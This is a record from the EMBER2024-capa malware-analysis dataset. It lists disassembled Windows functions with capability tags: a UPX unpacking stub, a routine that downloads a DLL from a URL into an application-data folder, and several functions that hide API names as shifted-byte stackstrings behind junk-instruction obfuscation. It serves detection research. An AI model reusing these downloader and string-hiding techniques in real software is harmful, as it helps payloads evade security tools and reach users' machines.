joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6b49a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1d7000]
push edi
or ebp, 0xffffffff
jmp 0x6b49c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6b49c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6b49b8
mov eax, 1
add ebx, ebx
jne 0x6b49db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x6b49d0
jne 0x6b49ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x6b49d0
xor ecx, ecx
sub eax, 3
jb 0x6b4a00
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x6b4a72
mov ebp, eax
add ebx, ebx
jne 0x6b4a0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x6b4a18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x6b4a3c
inc ecx
add ebx, ebx
jne 0x6b4a28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x6b4a1d
jne 0x6b4a39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x6b4a1d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x6b4a5c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x6b4a4d
jmp 0x6b49be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x6b4a5c
add edi, ecx
jmp 0x6b49be
pop esi
mov edi, esi
mov ecx, 0x90e3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6b4a7a
cmp byte [edi], 0x19
jne 0x6b4a7a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6b4a7f
lea edi, [esi + 0x2a2000]
mov eax, dword [edi]
or eax, eax
je 0x6b4af7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3a043c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3a05b8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x6b4aac
mov ecx, edi
jns 0x6b4adb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3a05bc]
or eax, eax
je 0x6b4af1
mov dword [ebx], eax
add ebx, 4
jmp 0x6b4ac9
call dword [esi + 0x3a05cc]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x6b4b28
cmp al, 0xef
ja 0x6b4b1b
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x6b4afd
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x6b4b0a
mov ebp, dword [esi + 0x3a05c0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x6b4b5c
sub esp, 0xffffff80
jmp 0x508d7d
Function at 0x4010a6
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x390]
sub esp, 0x410
mov eax, dword [0x410144]
xor eax, ebp
mov dword [ebp + 0x38c], eax
push ebx
push esi
xor esi, esi
push esi
push esi
push esi
push esi
push str.QQBrowser_9.0
mov ebx, ecx
mov dword [ebp - 0x78], 1
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x80], eax
cmp eax, esi
je 0x40115a
push esi
push 0x4000000
push esi
push esi
push str.http:__qd.browser.qq.com_saplas_QQBrowser_Setup_QQ_2015_10_09.dll
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x7c], eax
cmp eax, esi
je 0x401151
push 0x40eb64
push ebx
call fcn.00401b93
mov ebx, eax
pop ecx
pop ecx
cmp ebx, esi
je 0x401148
jmp 0x40113c
lea eax, [ebp - 0x78]
push eax
push 0x3ff
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x7c]
call dword [sym.imp.WININET.dll_InternetReadFile]
push ebx
push dword [ebp - 0x78]
lea eax, [ebp - 0x74]
push 1
push eax
call fcn.00401d0c
add esp, 0x10
cmp dword [ebp - 0x78], esi
ja 0x401114
push ebx
call fcn.00401e05
pop ecx
push dword [ebp - 0x7c]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x80]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp + 0x38c]
pop esi
xor ecx, ebp
pop ebx
call fcn.004017e6
add ebp, 0x390
leave
ret

Function at 0x401171
Capabilities:
Download url
Get common file path
Get startup folder
Receive data

Disassembly:
push ebp
lea ebp, [esp - 0x1ac]
sub esp, 0x22c
mov eax, dword [0x410144]
xor eax, ebp
mov dword [ebp + 0x1a8], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x60], ax
xor edi, edi
lea eax, [ebp - 0x5e]
push edi
push eax
call fcn.004037f0
add esp, 0xc
push 1
push 0x1a
lea eax, [ebp - 0x60]
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push str.QQBrowserModule114.dll
lea eax, [ebp - 0x60]
push 0x104
push eax
call fcn.00401e81
add esp, 0xc
lea ecx, [ebp - 0x60]
call fcn.004010a6
xor eax, eax
mov word [ebp - 0x78], ax
lea eax, [ebp - 0x60]
mov dword [ebp - 0x64], 7
mov dword [ebp - 0x68], edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, di
jne 0x4011ec
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x60]
push eax
lea esi, [ebp - 0x7c]
call fcn.00401370
sub esp, 0x1c
lea eax, [ebp - 0x7c]
mov esi, esp
mov dword [ebp - 0x80], esp
push eax
call fcn.00401276
call fcn.00401046
add esp, 0x1c
test eax, eax
jne 0x40124e
push edi
push edi
lea eax, [ebp - 0x60]
push eax
push str.http:__qd.browser.qq.com_saplas_QQBrowser_Setup_QQ_2015_10_09.dll
push edi
call sub.urlmon.dll_URLDownloadToFileW
sub esp, 0x1c
lea eax, [ebp - 0x7c]
mov esi, esp
mov dword [ebp - 0x80], esp
push eax
call fcn.00401276
call fcn.00401046
add esp, 0x1c
push 1
xor ebx, ebx
lea esi, [ebp - 0x7c]
call fcn.0040132e
mov ecx, dword [ebp + 0x1a8]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.004017e6
add ebp, 0x1ac
leave
ret 0x10

Function at 0x4017e6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410144]
jne 0x4017f0
repz ret
jmp fcn.00403442
Function at 0x405e0c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402c5d
and dword [ebp - 4], 0
cmp dword [0x411b40], 0
mov ebx, eax
jne 0x405ebd
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x405f6e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x405f6e
push eax
call fcn.00402beb
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x411b40], eax
call esi
push eax
call fcn.00402beb
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x411b44], eax
call esi
push eax
call fcn.00402beb
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x411b48], eax
call esi
push eax
call fcn.00402beb
pop ecx
mov dword [0x411b50], eax
test eax, eax
je 0x405ebd
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402beb
pop ecx
mov dword [0x411b4c], eax
mov eax, dword [0x411b4c]
cmp eax, ebx
je 0x405f15
cmp dword [0x411b50], ebx
je 0x405f15
push eax
call fcn.00402c66
push dword [0x411b50]
mov esi, eax
call fcn.00402c66
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x405f15
test edi, edi
je 0x405f15
call esi
test eax, eax
je 0x405f0c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x405f0c
test byte [ebp - 0xc], 1
jne 0x405f15
or dword [ebp + 0x10], 0x200000
jmp 0x405f4e
mov eax, dword [0x411b44]
cmp eax, ebx
je 0x405f4e
push eax
call fcn.00402c66
pop ecx
test eax, eax
je 0x405f4e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x405f4e
mov eax, dword [0x411b48]
cmp eax, ebx
je 0x405f4e
push eax
call fcn.00402c66
pop ecx
test eax, eax
je 0x405f4e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x411b40]
call fcn.00402c66
pop ecx
test eax, eax
je 0x405f6e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x405f70
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42c404
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0xe
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.00451fdc
add esp, 0xc
xchg esp, esp
je 0x42c447
pushf
jg 0x42c425
call fcn.0042c42a

Function at 0x42c775
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0xc
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.00451fdc
add esp, 0xc
jp 0x42c790
test esp, 0x33bc
jmp 0x42c798
jae 0x42c79a
js 0x42c7a7
jno 0x42c79e
jnp 0x42c7a0
lea ebx, [ebx]
xchg esp, esp
jns 0x42c7a7
call 0x452f0d71
mov byte [ebp - 0x14], 0x44
mov byte [ebp - 0xf], 0x49
mov byte [ebp - 0xa], 0x66
mov byte [ebp - 0x13], 0x6d
mov byte [ebp - 0xe], 0x62
mov byte [ebp - 9], 0
mov byte [ebp - 0x12], 0x70
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0x10], 0x66
mov byte [ebp - 0xb], 0x6d
std
cld
test dword [esp], eax
ja 0x42c7de
jb 0x42c7e6
jo 0x42c7e2
jae 0x42c7e6
lcall 0xe980, 0xec4d8ae6
add dword [eax + 0x558aec4d], ecx
int1
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
mov cl, byte [ebp - 0x13]
sub cl, 1
mov byte [ebp - 0x13], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 0x12]
sub al, 1
mov byte [ebp - 0x12], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
call fcn.0043e844
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x42c85b
xor eax, eax
jmp 0x42c8e0
mov ecx, ecx
rol edi, 6
ror edi, 6
lea ecx, [ecx + 0x3273]
lea ecx, [ecx - 0x3273]
ror ebx, 0xb
rol ebx, 0xb
jl 0x42c87f
xchg ebx, ebx
jg 0x42c87b
jge 0x42c87f
xor eax, 0xec458d6a
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00452398
mov dword [ebp - 4], eax
push 0xc
push 0
lea edx, [ebp - 0x14]
push edx
call fcn.00451fdc
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x42c8a9
xor eax, eax
jmp 0x42c8e0
je 0x42c8ab
cmp esp, 0x4632
jle 0x42c8b9
jne 0x42c8b5
jg 0x42c8b9
mov esp, 0xfc458b09
mov eax, dword [ebp - 4]
push eax
call fcn.0045b8ce
add esp, 4
test esp, 0x3c27
ror ecx, 9
rol ecx, 9
jns 0x42c8d9
jle 0x42c8d5
js 0x42c8d9
mov ecx, 0x84d8b54
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x42d467
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0x10
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.00451fdc
add esp, 0xc
ror edx, 0x19
ror edx, 7
jo 0x42d495
xchg ebx, esi
xchg ebx, esi
jbe 0x42d48e
xchg esp, esp
xchg ebx, ebx
jno 0x42d495
sub eax, 0x4aec45c6
mov byte [ebp - 0x14], 0x4a
mov byte [ebp - 8], 0x63
mov byte [ebp - 0xb], 0x6a
mov byte [ebp - 0x12], 0x58
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 6], 0x66
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0x11], 0x6a
mov byte [ebp - 0xd], 0x78
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 5], 0
mov byte [ebp - 0xc], 0x57
mov byte [ebp - 9], 0x6a
mov byte [ebp - 7], 0x6d
test ebx, edx
jge 0x42d4f2
pushf
add eax, 0x6cf9
sub eax, 0x6cf9
js 0x42d4e7
add esp, 0
stc
popf
jb 0x42d4ef
jl 0x42d4f2
mov ebx, 0x80ec4d8a
jmp 0xec905cfc
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 6]
sub dl, 1
mov byte [ebp - 6], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 0xa]
sub cl, 1
mov byte [ebp - 0xa], cl
mov dl, byte [ebp - 0x12]
sub dl, 1
mov byte [ebp - 0x12], dl
mov al, byte [ebp - 7]
sub al, 1
mov byte [ebp - 7], al
mov cl, byte [ebp - 0x11]
sub cl, 1
mov byte [ebp - 0x11], cl
mov dl, byte [ebp - 9]
sub dl, 1
mov byte [ebp - 9], dl
mov al, byte [ebp - 0xf]
sub al, 1
mov byte [ebp - 0xf], al
mov cl, byte [ebp - 8]
sub cl, 1
mov byte [ebp - 8], cl
mov dl, byte [ebp - 0xd]
sub dl, 1
mov byte [ebp - 0xd], dl
mov al, byte [ebp - 0x13]
sub al, 1
mov byte [ebp - 0x13], al
mov cl, byte [ebp - 0xc]
sub cl, 1
mov byte [ebp - 0xc], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 0x10]
sub al, 1
mov byte [ebp - 0x10], al
call fcn.0043bd14
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x42d586
xor eax, eax
jmp 0x42d601
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.00452398
mov dword [ebp - 0x18], eax
push 0x10
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.00451fdc
add esp, 0xc
cmp dword [ebp - 0x18], 0
je 0x42d5ff
test edx, ecx
lea ebx, [ebx + 0x790d]
lea ebx, [ebx - 0x790d]
xor edx, dword [esp + 0xc]
xor edx, dword [esp + 0xc]
shl esp, 0
jae 0x42d5cc
jnp 0x42d5c9
jb 0x42d5cc
mov eax, 0x51e84d8b
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0045b8ce
add esp, 4
jp 0x42d5da
js 0x42d5f6
pushf
lea ecx, [ecx + 0x74b]
lea ecx, [ecx - 0x74b]
stc
popf
jg 0x42d5ef
jmp 0x42d5f1
jp 0x42d5f3
jns 0x42d5f6
mov eax, 0x5208558b
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x18]
jmp 0x42d601
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x42da0a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0xc
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.00451fdc
add esp, 0xc
add ecx, 0
je 0x42da2e
je 0x42da2a
jne 0x42da2e
mov esp, 0xec45c6a7
push eax
mov byte [ebp - 0x14], 0x50
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 0x13], 0x71
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 9], 0
mov byte [ebp - 0x12], 0x66
mov byte [ebp - 0xd], 0x64
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0xc], 0x66
mov byte [ebp - 0x10], 0x51
mov byte [ebp - 0xb], 0x74
cmc
add esp, 0
jb 0x42da64
jp 0x42da7b
pushf
add esp, 0
jl 0x42da6d
xor eax, 0
or ecx, ecx
popf
jp 0x42da76
jns 0x42da78
jnp 0x42da7b
mov edi, 0x80ec4d8a
jmp 0xec906285
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
mov cl, byte [ebp - 0x13]
sub cl, 1
mov byte [ebp - 0x13], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 0x12]
sub al, 1
mov byte [ebp - 0x12], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
call fcn.0043e844
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x42daf0
xor eax, eax
jmp 0x42db84
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00452398
mov dword [ebp - 4], eax
push 0xc
push 0
lea edx, [ebp - 0x14]
push edx
call fcn.00451fdc
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x42db82
xor ecx, dword [esp]
xor ecx, dword [esp]
cmp edx, eax
lea edx, [edx + 0x57ac]
sub edx, 0x57ac
jle 0x42db2c
jns 0x42db3a
pushf
lea ebx, [ebx]
popf
mov ecx, ecx
nop
js 0x42db3a
mov esp, 0x50fc458b
mov eax, dword [ebp - 4]
push eax
call fcn.0045b8ce
add esp, 4
call fcn.0042db4b
xor eax, eax

Function at 0x42ddca
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
jno 0x42ddd5
clc
add eax, dword [esp]
sub eax, dword [esp]
jb 0x42ddf6
pushf
ror edi, 5
ror edi, 0x1b
jne 0x42dde8
inc edi
dec edi
shr esp, 0
popf
jb 0x42ddf1
jg 0x42ddf3
jae 0x42ddf6
mov ecx, 0x26dc45c7
add byte [eax], al
add bh, al
inc ebp
fadd dword [eax]
add byte [eax], al
add bl, ch
or dword [ebx - 0x3f7c27bb], ecx
add dword [ecx + 0x7d83d845], ecx
fadd dword [ebx]
mov dword [ebp - 0x24], 0x26
mov dword [ebp - 0x28], 0
jmp 0x42de0f
Function at 0x4311cf
Capabilities:
Contain obfuscated stackstrings

Disassembly:
and bh, bh
push ebp
loopne 0x431228
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x12
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.00451fdc
add esp, 0xc
sub esp, 0
ja 0x4311f5
lea esp, [esp]
lea ebx, [ebx]
jbe 0x4311f5
lcall 0x45c6, 0x48e845c6
in eax, dx
jae 0x4311c4
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0xe], 0x51
inc ebp
push ecx
mov byte [ebp - 9], 0x74
mov byte [ebp - 0x17], 0x66
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 8], 0x74
mov byte [ebp - 0x16], 0x75
mov byte [ebp - 0x11], 0x66
mov byte [ebp - 0xc], 0x70
mov byte [ebp - 7], 0
mov byte [ebp - 0x15], 0x44
inc esp
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0x14], 0x76
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xa], 0x66
shl esp, 0
jbe 0x43125d
pushf
xor eax, dword [esp]
xor eax, dword [esp]
call fcn.0043124f
Function at 0x4313ac
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
push 0x11
push 0
lea eax, [ebp - 0x1c]
push eax
call fcn.00451fdc
add esp, 0xc
push edi
pop edi
test ecx, ebx
lea ebx, [ebx + 0x12f9]
lea ebx, [ebx - 0x12f9]
jo 0x4313d7
je 0x4313e8
pushf
mov ecx, ecx
popf
jae 0x4313e1
xchg ecx, eax
xchg ecx, eax
mov edx, edx
jne 0x4313e8
add eax, 0x48e445c6
mov byte [ebp - 0x1c], 0x48
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x12], 0x62
mov byte [ebp - 0xd], 0x58
mov byte [ebp - 0x1b], 0x66
mov byte [ebp - 0x16], 0x76
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0xc], 0
mov byte [ebp - 0x1a], 0x75
mov byte [ebp - 0x15], 0x6d
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0x19], 0x4e
mov byte [ebp - 0x14], 0x66
mov byte [ebp - 0xf], 0x6d
mov byte [ebp - 0x18], 0x70
mov byte [ebp - 0x13], 0x49
mov byte [ebp - 0xe], 0x66
je 0x43142e
or ecx, ecx
jo 0x431447
pushf
jo 0x431436
lea edx, [edx]
ror esp, 0
jnp 0x43143d
popf
jbe 0x431441
nop
jbe 0x431444
jno 0x431447
jmp 0x812761d5
mov cl, byte [ebp - 0x1c]
sub cl, 1
mov byte [ebp - 0x1c], cl
mov dl, byte [ebp - 0x17]
sub dl, 1
mov byte [ebp - 0x17], dl
mov al, byte [ebp - 0x12]
sub al, 1
mov byte [ebp - 0x12], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 0x1b]
sub dl, 1
mov byte [ebp - 0x1b], dl
mov al, byte [ebp - 0x16]
sub al, 1
mov byte [ebp - 0x16], al
mov cl, byte [ebp - 0x11]
sub cl, 1
mov byte [ebp - 0x11], cl
mov dl, byte [ebp - 0x1a]
sub dl, 1
mov byte [ebp - 0x1a], dl
mov al, byte [ebp - 0x15]
sub al, 1
mov byte [ebp - 0x15], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0x19]
sub dl, 1
mov byte [ebp - 0x19], dl
mov al, byte [ebp - 0x14]
sub al, 1
mov byte [ebp - 0x14], al
mov cl, byte [ebp - 0xf]
sub cl, 1
mov byte [ebp - 0xf], cl
mov dl, byte [ebp - 0x18]
sub dl, 1
mov byte [ebp - 0x18], dl
mov al, byte [ebp - 0x13]
sub al, 1
mov byte [ebp - 0x13], al
mov cl, byte [ebp - 0xe]
sub cl, 1
mov byte [ebp - 0xe], cl
xchg ebx, edi
xchg ebx, edi
sub eax, 0
jns 0x4314e6
mov edx, edx
jle 0x4314df
jb 0x4314e1
js 0x4314e6
mov edx, 0x59e8a744
rol dword [eax], cl
add byte [ecx + 0x7d83fc45], cl
cld
add byte [ebp + 7], dh
call fcn.0043e844
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4314fb
xor eax, eax
jmp 0x4317b5
jl 0x4314fd
cmp esi, 0x3e91
mov esi, esi
jp 0x431507
je 0x43152a
pushf
call fcn.00431510

Function at 0x431e19
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0xc
push 0
lea eax, [ebp - 0xc]
push eax
call fcn.00451fdc
add esp, 0xc
test dword [esp], edx
stc
ja 0x431e4b
pushf
test ecx, edi
ror edx, 0x1e
ror edx, 2
popf
ja 0x431e46
jne 0x431e48
jbe 0x431e4b
mov esp, 0x53f445c6
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], 0x66
mov byte [ebp - 0xa], 0x68
mov byte [ebp - 9], 0x44
mov byte [ebp - 8], 0x6d
mov byte [ebp - 7], 0x70
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0x66
mov byte [ebp - 4], 0x4c
mov byte [ebp - 3], 0x66
mov byte [ebp - 2], 0x7a
mov byte [ebp - 1], 0
call fcn.00431e80
Function at 0x432442
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
cmp esp, 0x65aa
cmp esi, eax
clc
xchg esi, ecx
xchg esi, ecx
jnp 0x43246d
pushf
xor esi, dword [esp]
xor esi, dword [esp]
popf
jmp 0x432466
xchg ecx, ebx
xchg ecx, ebx
jp 0x43246d
sub eax, 0x13ec45c7
add byte [eax], al
add bh, al
inc ebp
call fcn.0043247b
mov dword [ebp - 0x14], 0x13
mov dword [ebp - 0x18], 0
Function at 0x437cd4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov esp, 0x45b8
add byte [edi + 0x5e], bl
pop ebx
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0xf
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.00451fdc
add esp, 0xc
push edi
pop edi
and ecx, ecx
je 0x437cfa
lea edi, [edi]
jne 0x437cfa
mov edi, 0x45c6f7dc
call 0xf3894349
jns 0x437cc9
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0xd], 0x79
mov byte [ebp - 0xb], 0x42
inc ebp
cmc
inc edx
mov byte [ebp - 0xf], 0x55
mov byte [ebp - 0x15], 0x58
mov byte [ebp - 0x13], 0x6f
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0xa], 0
mov byte [ebp - 0x11], 0x70
mov byte [ebp - 0x14], 0x6a
mov byte [ebp - 0x10], 0x78
mov byte [ebp - 0x17], 0x66
mov byte [ebp - 0xe], 0x66
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0x16], 0x75
sub eax, 0
jle 0x437d3b
and ebx, ebx
jl 0x437d48
jno 0x437d41
xchg esi, esi
jnp 0x437d45
jge 0x437d48
sub eax, 0x80e84d8a
jmp 0xe8910552
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0xd]
sub dl, 1
mov byte [ebp - 0xd], dl
mov al, byte [ebp - 0x11]
sub al, 1
mov byte [ebp - 0x11], al
mov cl, byte [ebp - 0x15]
sub cl, 1
mov byte [ebp - 0x15], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0x13]
sub al, 1
mov byte [ebp - 0x13], al
mov cl, byte [ebp - 0x17]
sub cl, 1
mov byte [ebp - 0x17], cl
mov dl, byte [ebp - 0x12]
sub dl, 1
mov byte [ebp - 0x12], dl
mov al, byte [ebp - 0x10]
sub al, 1
mov byte [ebp - 0x10], al
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 0x16]
sub cl, 1
mov byte [ebp - 0x16], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
call fcn.0043bd14
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x437dd4
xor eax, eax
jmp 0x437e4f
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00452398
mov dword [ebp - 8], eax
push 0xf
push 0
lea edx, [ebp - 0x18]
push edx
call fcn.00451fdc
add esp, 0xc
